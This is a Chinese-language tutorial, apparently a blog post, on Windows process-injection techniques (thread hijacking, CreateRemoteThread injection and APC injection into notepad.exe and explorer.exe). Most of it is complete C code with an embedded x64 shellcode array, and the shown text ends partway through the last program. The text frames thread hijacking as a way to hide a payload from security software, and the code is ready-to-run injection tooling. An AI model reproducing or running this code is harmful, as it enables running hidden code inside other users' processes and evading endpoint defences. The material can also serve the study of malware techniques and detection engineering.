总字符数: 68.84K

代码: 57.72K, 文本: 5.79K

预计阅读时间: 4.60 小时

线程劫持

线程劫持是一种无需创建新线程就可以执行负载的技术。

它通过挂起线程并修改其寄存器,使寄存器指向内存中存储的有效载荷的起始地址。当线程恢复执行时,就会从这个新地址开始执行,从而运行有效载荷。

线程上下文

我们需要先了解“线程上下文”这一概念。每个线程都有一个调度优先级,并且系统会保存一组结构到线程上下文中。线程上下文包含了线程恢复执行所需的所有信息,包括线程的CPU寄存器和堆栈集合。

Windows 提供了两个 API 函数来处理线程上下文:

  1. GetThreadContext:用于检索线程的上下文信息。
  2. SetThreadContext:用于设置线程的上下文信息。

GetThreadContext函数会返回一个包含线程所有信息的CONTEXT结构体。而 SetThreadContext 函数则会将一个填充好的CONTEXT结构体设置到指定的线程上。

为什么选择劫持现有的线程而不是创建一个新的线程来执行有效载荷呢?

  1. 创建新线程:
    • 如果通过创建一个新线程来执行有效载荷,那么这个新线程的入口点必须指向有效载荷在内存中的基地址。这样做会暴露有效载荷的基地址,从而让安全软件更容易检测到有效载荷的内容。
  2. 劫持现有线程:
    • 相比之下,劫持现有线程时,线程的入口点仍然指向一个正常的流程函数。即使安全软件监控线程的活动,也不会轻易发现异常,因为线程看起来仍然是良性的。通过这种方式,有效载荷可以在不引起怀疑的情况下被执行。

再探Create Thread

CreateThread函数的第三个参数LPTHREAD_START_ROUTINE lpStartAddress指定了线程的入口地址。如果使用线程创建,lpStartAddress会直接指向有效载荷的地址。另一方面,线程劫持会将入口地址指向一个正常的功能。

1
2
3
4
5
6
7
8
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
  1. 创建线程:使用CreateThread函数创建一个新线程,并设置一个正常函数作为线程的入口点。保存创建的线程句柄,以便后续操作。
  2. 暂停线程:使用SuspendThread 函数将新创建的线程暂停,使其处于停止状态。
  3. 获取线程上下文:使用GetThreadContext函数获取线程的上下文信息,特别是RIP(64位)或 EIP(32位)寄存器的值。
  4. 修改线程上下文:修改RIPEIP寄存器的值,使其指向有效载荷的起始地址。使用SetThreadContext函数将修改后的上下文信息设置回线程。
  5. 恢复线程:使用ResumeThread函数恢复线程的执行,此时线程将从修改后的入口点开始执行,即执行有效载荷。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <windows.h>
#include <stdio.h>

// 一个简单的测试函数,作为线程的初始入口点
void Test() {
int a = 1; // 定义一个整数 a 并初始化为 1
int b = a + 10; // 定义一个整数 b,并将 a 加 10 的结果赋值给 b
}

// 线程劫持函数,用于在目标线程中注入并执行有效载荷
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL; // 用于存储分配的内存地址
DWORD dwOldProtection = 0; // 用于保存修改前的内存保护属性
CONTEXT ThreadCtx; // 定义线程上下文结构体
ThreadCtx.ContextFlags = CONTEXT_FULL; // 设置上下文标志为 CONTEXT_FULL,以获取完整的线程上下文

// 为有效载荷分配内存
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAlloc 失败,错误码: %d \n", GetLastError());
return FALSE; // 如果分配失败,打印错误信息并返回 FALSE
}

// 将有效载荷复制到分配的内存中
memcpy(pAddress, pPayload, sPayloadSize);

// 更改内存保护以允许执行
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect 失败,错误码: %d \n", GetLastError());
return FALSE; // 如果修改内存保护失败,打印错误信息并返回 FALSE
}

// 获取原始线程上下文
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("[!] GetThreadContext 失败,错误码: %d \n", GetLastError());
return FALSE; // 如果获取线程上下文失败,打印错误信息并返回 FALSE
}

// 更新指令指针以跳转到有效载荷
#ifdef _WIN64
ThreadCtx.Rip = (DWORD64)pAddress; // 在64位系统上,将RIP寄存器设置为有效载荷的地址
#else
ThreadCtx.Eip = (DWORD)pAddress; // 在32位系统上,将EIP寄存器设置为有效载荷的地址
#endif

// 设置新的线程上下文
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("[!] SetThreadContext 失败,错误码: %d \n", GetLastError());
return FALSE; // 如果设置线程上下文失败,打印错误信息并返回 FALSE
}

return TRUE; // 成功返回 TRUE
}

int main() {
// 创建一个线程,初始入口为良性函数 Test,线程在创建时处于暂停状态
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Test, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
printf("创建线程失败。\n");
return 1; // 如果线程创建失败,打印错误信息并返回 1
}

// 定义有效载荷(shellcode)
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

SIZE_T sPayloadSize = sizeof(buf); // 计算有效载荷的大小

// 执行线程劫持
if (!RunViaClassicThreadHijacking(hThread, buf, sPayloadSize)) {
printf("线程劫持失败。\n");
CloseHandle(hThread); // 如果劫持失败,打印错误信息并关闭线程句柄
return 1; // 返回 1 表示失败
}

// 恢复线程以执行有效载荷
if (ResumeThread(hThread) == (DWORD)-1) {
printf("恢复线程失败。\n");
CloseHandle(hThread); // 如果恢复线程失败,打印错误信息并关闭线程句柄
return 1; // 返回 1 表示失败
}

// 等待线程结束
WaitForSingleObject(hThread, INFINITE);

// 清理资源
CloseHandle(hThread); // 关闭线程句柄以释放资源

return 0; // 返回 0 表示程序成功结束
}

远程线程注入-CreateRemoteThread

什么是进程

进程是当前在Windows中运行的软件程序。每个进程都有一个ID,一个标识它的编号。线程是一个标识程序哪个部分正在运行的对象。

注入进程的步骤

  1. 打开目标进程的句柄
  2. 在目标进程中分配内存
  3. 将Shellcode写入分配的内存
  4. 创建远程线程以执行代码
  5. 关闭目标进程的句柄

代码

打开目标进程

首先,我们需要打开具有必要权限的目标进程

1
2
3
4
5
6
7
// 使用必要的权限打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) {
wprintf(L"[ERROR] 无法打开进程[%d]\n", GetLastError());
return 1;
}
printf("[+] 进程打开成功!\n");
  • PROCESS_ALL_ACCESS:进程对象的所有可能的访问权限
  • FALSE: 句柄不可继承
  • pid: 目标进程的进程ID,例如notepad.exe

进程的句柄存储在hProcess

为ShellCode分配内存

1
2
3
4
5
6
7
8
// 申请内存
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pAddress == NULL) {
wprintf(L"[ERROR] 无法分配远程内存 [%d]\n", GetLastError());
CloseHandle(hProcess);
return 100;
}
printf("[+] 内存分配成功!\n");
  • hProcess:我们想要分配内存的进程句柄
  • NULL: 为要分配的页面区域指定所需起始地址的指针
  • sizeof(shellcode): 要分配的内存区域的大小(以字节为单位)
  • MEM_COMMIT | MEM_RESERVE: 内存分配的类型
  • PAGE_EXECUTE_READWRITE: 启用执行、读取和写入访问

分配的内存地址存储在pAddress中

将ShellCode写入内存

1
2
3
4
5
6
7
8
// 将ShellCode写入到内存
if (WriteProcessMemory(hProcess, pAddress, shellcode, sizeof(shellcode), NULL) == 0) {
wprintf(L"[ERROR] 无法写入远程内存 [%d]\n", GetLastError());
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 101;
}
printf("[+] Shellcode已成功写入内存!\n");
  • hProcess:要修改的进程内存的句柄。 句柄必须具有对进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限
  • pAddress: 指向将数据写入到的指定进程中基址的指针。 在进行数据传输之前,系统会验证指定大小的基址和内存中的所有数据是否可供写入访问,如果无法访问,则函数将失败
  • shellcode: 要写入的数据(shellcode)
  • sizeof(shellcode): 要写入指定进程的字节数
  • NULL: 指向变量的指针,该变量接收传输到指定进程的字节数。 此参数是可选的。 如果 lpNumberOfBytesWritten为NULL,则忽略参数

如果函数成功,返回值为非零

创建一个远程线程来执行ShellCode

1
2
3
4
5
6
7
8
9
// 创建一个远程线程来执行ShellCode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL);
if (hThread == NULL) {
wprintf(L"[ERROR] 无法创建远程线程 [%d]\n", GetLastError());
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 102;
}
printf("[+] 远程线程已成功创建!\n");
  • hProcess: 要在其中创建线程的进程句柄。 句柄必须具有PROCESS_CREATE_THREADPROCESS_QUERY_INFORMATIONPROCESS_VM_OPERATIONPROCESS_VM_WRITEPROCESS_VM_READ访问权限,并且在某些平台上没有这些权限可能会失败
  • NULL: 默认安全描述符
  • 0: 新线程使用可执行文件的默认大小
  • (LPTHREAD_START_ROUTINE)pAddress: 线程将从这个地址开始执行

返回值将存储在hThread变量中

等待远程线程完成执行,然后进行清理

1
2
3
4
5
6
7
// 等待远程线程完成执行
WaitForSingleObject(hThread, INFINITE);

// Clean up
CloseHandle(hThread);
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);

等待执行完成,然后关闭HANDLE并释放分配的内存并结束进程注入程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <windows.h>
#include <TlHelp32.h>
int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
const wchar_t* notepadProcessName = L"notepad.exe";
// 获取进程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
// 遍历进程列表
if (Process32First(hSnapshot, &processEntry)) {
do {
// 检查进程名称是否匹配
if (_wcsicmp(processEntry.szExeFile, notepadProcessName) == 0) {
// 打开进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
if (hProcess != NULL) {
// 在目标进程中分配一块内存,用于存储shellcode
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteMemory != NULL) {
// 将shellcode写入目标进程内存
WriteProcessMemory(hProcess, pRemoteMemory, buf, sizeof(buf), NULL);
// 在目标进程中创建一个线程执行shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
if (hThread != NULL) {
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 清理资源
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
}
}
// 关闭进程句柄
CloseHandle(hProcess);
}
}
} while (Process32Next(hSnapshot, &processEntry));
}
// 关闭进程快照句柄
CloseHandle(hSnapshot);
}
return 0;
}

APC注入-QueueUserAPC

什么是APC

Asyncroneus Procedure Call-异步过程调用:

​ 在一个特定的线程的上下文中以异步方式执行的功能.当APC排队到线程中时,系统会发出软件中断.下次调度线程时,他将运行APC功能。

​ 系统生成的APC称为内核模式APC。由应用程序生成的APC称为用户模式APC

线程必须处于可警报状态才能运行用户模式APC

每个线程都有自己的APC队列.应用程序通过调用QueueUserAPC函数将APC排队到线程中.调用线程对QueueUserAPC的调用中指定APC函数的地址。APC的排队是对线程调用APC函数的请求.

什么是APC注入?

由于在线程执行过程中,其他线程无法干预当前执行线程(占CPU),如果需要干预当前执行线程的操作,就需要一种让线程自身去调用的机制,Windows实现了一种称之为APC的技术,这种技术可以通过插入队列(执行信息)让线程在一定条件下自己去调用,这样就实现了异步操作.

什么是APC队列?

要将 APC 函数排队到线程,必须将 APC 函数的地址传递给QueueUserAPC WinAPI。根据Microsoft 的⽂档:

应⽤程序通过调⽤QueueUserAPC函数将APC排队到线程.调⽤线程在对QueueUserAPC的调⽤中指定APC函数的地址。

注入有效载荷的步骤

  1. 创建目标线程
    • 创建一个新线程,或者找到一个已经存在的线程。
    • 确保线程处于可警告状态。
  2. 将有效载荷排队到APC队列
    • 使用 QueueUserAPC 函数将有效载荷函数排队到目标线程的APC队列中。
  3. 使线程进入可警告状态
    • 使目标线程调用一个可警告的等待函数,如 SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx
  4. 执行APC
    • 当线程进入可警告状态时,系统会检查APC队列并执行排队的APC函数。

QueueUserAPC

1
2
3
4
5
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
  1. pfnAPC: 要调⽤的APC函数的地址
  2. hThread: 可警告线程或挂起线程的句柄
  3. dwData: 传递给pfnAPC参数指向的APC函数的单个值。

将线程置于可警告状态

执⾏排队函数的线程需要处于可警告状态。这可以通过创建线程并使⽤以下 WinAPI 之⼀来实现:

这些函数用于同步线程并提高应用程序的性能和响应能力。在这种情况下,只需将一个虚拟事件的句柄传递给这些函数之一,即可将线程置于可警告状态。无需将正确的参数传递给这些函数,因为任何有效的事件句柄都可以达到目的。

要创建虚拟事件,可以使用 CreateEvent WinAPI。新创建的事件对象是一个同步对象,允许线程通过发信号和等待事件来相互通信。由于 CreateEvent 的输出在此场景中无关紧要,因此可以传递任何有效的事件句柄给前面提到的 WinAPI 函数。

示例

Sleep
1
2
3
VOID AlertableFunction1() {
Sleep(-1);
}
SleepEx
1
2
3
VOID AlertableFunction2() {
SleepEx(INFINITE, TRUE);
}
WaitForSingleObject
1
2
3
4
5
6
7
VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hEvent);
}
}
MsgWaitForMultipleObjects
1
2
3
4
5
6
7
VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
CloseHandle(hEvent);
}
}
SignalObjectAndWait
1
2
3
4
5
6
7
8
9
VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
CloseHandle(hEvent1);
CloseHandle(hEvent2);
}
}

暂停线程

QueueUserAPC 函数可以在目标线程处于挂起状态时成功使用。如果使用这种方法来执行有效载荷,应首先调用 QueueUserAPC,然后再恢复挂起的线程。需要注意的是,线程必须在挂起状态下创建,挂起现有线程将不起作用。

如何实现APC注入

获取Explorer进程下的每个线程,将shellcode通过APC注入到每个线程中

  1. 创建快照: 使用 CreateToolhelp32Snapshot 获取系统中所有进程和线程的快照。
  2. 查找目标进程: 枚举进程,查找名为 explorer.exe 的进程。
  3. 打开目标进程: 使用 OpenProcess 获取目标进程的句柄,以便后续操作。
  4. 分配内存: 在目标进程中分配一块可执行和可写的内存,用于存储 shellcode。
  5. 写入内存: 使用 WriteProcessMemory 将 shellcode 写入目标进程的分配内存中。
  6. 枚举目标线程: 枚举所有线程,查找属于目标进程的线程,并记录线程 ID。
  7. 注入 APC: 对每个目标进程线程,使用 QueueUserAPC 将 shellcode 的地址作为 APC 函数队列到线程中。APC 会在线程进入警报式等待状态时执行。
  8. 清理资源: 关闭目标进程和快照的句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h> // 用于 printf
#include <malloc.h> // 用于 malloc 和 free

int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

// 创建一个系统快照,捕获所有进程和线程。
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL; // 用于存储目标进程的句柄
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; // 初始化进程条目结构
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; // 初始化线程条目结构
DWORD* threadIds = NULL; // 指向动态分配的线程 ID 数组
size_t threadCount = 0; // 记录找到的目标进程线程数量

SIZE_T shellSize = sizeof(buf); // 假设 buf 已经被定义为你的 shellcode
HANDLE threadHandle = NULL; // 用于存储线程句柄

// 枚举系统中的所有进程,查找 explorer.exe
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
if (!Process32Next(snapshot, &processEntry)) {
// 如果找不到 explorer.exe 进程,输出错误信息并退出
printf("无法找到目标进程。\n");
CloseHandle(snapshot);
return 1;
}
}
}

// 打开目标进程(explorer.exe),获取其句柄以进行后续操作
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
if (!victimProcess) {
// 如果无法打开目标进程,输出错误信息并退出
printf("无法打开目标进程。\n");
CloseHandle(snapshot);
return 1;
}

// 在目标进程中分配内存用于存储 shellcode
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!shellAddress) {
// 如果内存分配失败,输出错误信息并退出
printf("无法分配内存。\n");
CloseHandle(victimProcess);
CloseHandle(snapshot);
return 1;
}

// 将 shellcode 写入目标进程的内存
if (!WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL)) {
// 如果写入失败,输出错误信息并释放分配的内存
printf("写入内存失败。\n");
VirtualFreeEx(victimProcess, shellAddress, 0, MEM_RELEASE);
CloseHandle(victimProcess);
CloseHandle(snapshot);
return 1;
}

// 将分配的内存地址作为 APC 例程
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

// 枚举系统中的所有线程,寻找属于目标进程的线程
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
// 重新分配内存以存储更多的线程 ID
DWORD* temp = (DWORD*)realloc(threadIds, (threadCount + 1) * sizeof(DWORD));
if (!temp) {
// 如果内存分配失败,输出错误信息并退出
printf("内存分配失败。\n");
free(threadIds);
VirtualFreeEx(victimProcess, shellAddress, 0, MEM_RELEASE);
CloseHandle(victimProcess);
CloseHandle(snapshot);
return 1;
}
threadIds = temp; // 更新线程 ID 数组指针
threadIds[threadCount++] = threadEntry.th32ThreadID; // 将线程 ID 添加到数组
}
} while (Thread32Next(snapshot, &threadEntry));
}

// 对目标进程中的每个线程,队列一个用户 APC 调用,以执行 shellcode
for (size_t i = 0; i < threadCount; ++i) {
// 打开线程以进行 APC 调用
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadIds[i]);
if (threadHandle) {
// 将 APC 添加到线程的 APC 队列中
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2); // 等待 APC 有机会执行
CloseHandle(threadHandle); // 关闭线程句柄
}
}

// 释放动态分配的线程 ID 数组内存
free(threadIds);
// 关闭打开的进程和快照句柄
CloseHandle(victimProcess);
CloseHandle(snapshot);

return 0;
}

拉起notepad,然后通过APC注入将shellcode注入到notepad线程中

  1. 创建进程: 使用 CreateProcessA 启动一个新的应用程序实例(记事本),并将其置于挂起状态以便可以在执行之前修改其内存。
  2. 内存分配: 使用 VirtualAllocEx 在目标进程中分配一块内存区域,这块区域被标记为可执行和可写,以便能够存储和执行 shellcode。
  3. 写入内存: WriteProcessMemory 将 shellcode 写入目标进程的内存空间中,以便后续可以通过 APC 调用执行。
  4. APC 注入: 使用 QueueUserAPC 将 shellcode 的地址作为一个 APC(异步过程调用)例程添加到进程的主线程中。当线程进入警报式等待状态时,APC 将被执行。
  5. 恢复线程: ResumeThread 恢复挂起的线程状态,使其继续执行。由于 APC 已经被队列化,当线程恢复运行时,APC 将被调用执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <Windows.h>

int main()
{
// 定义目标应用程序的路径,这里是记事本的可执行文件路径
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";

// 定义包含 shellcode 的缓冲区
// 请注意,这里的 shellcode 是一段二进制数据,通常用于执行特定任务
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

SIZE_T buff = sizeof(buf); // 获取 shellcode 的大小
STARTUPINFOA sInfo = { 0 }; // 初始化 STARTUPINFOA 结构体,用于启动新进程
PROCESS_INFORMATION pInfo = { 0 }; // 初始化 PROCESS_INFORMATION 结构体,用于接收新建进程的信息

// 创建一个新的进程,启动记事本程序,并使其处于挂起状态
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);

// 获取新建进程的句柄和主线程的句柄
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;

// 在目标进程中分配内存,用于存储 shellcode
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将分配的内存地址转换为线程启动例程指针
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;

// 将 shellcode 写入目标进程的分配内存中
WriteProcessMemory(hProc, lpvShellAddress, buf, buff, NULL);

// 将 shellcode 的地址作为 APC 函数队列到挂起的线程中
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);

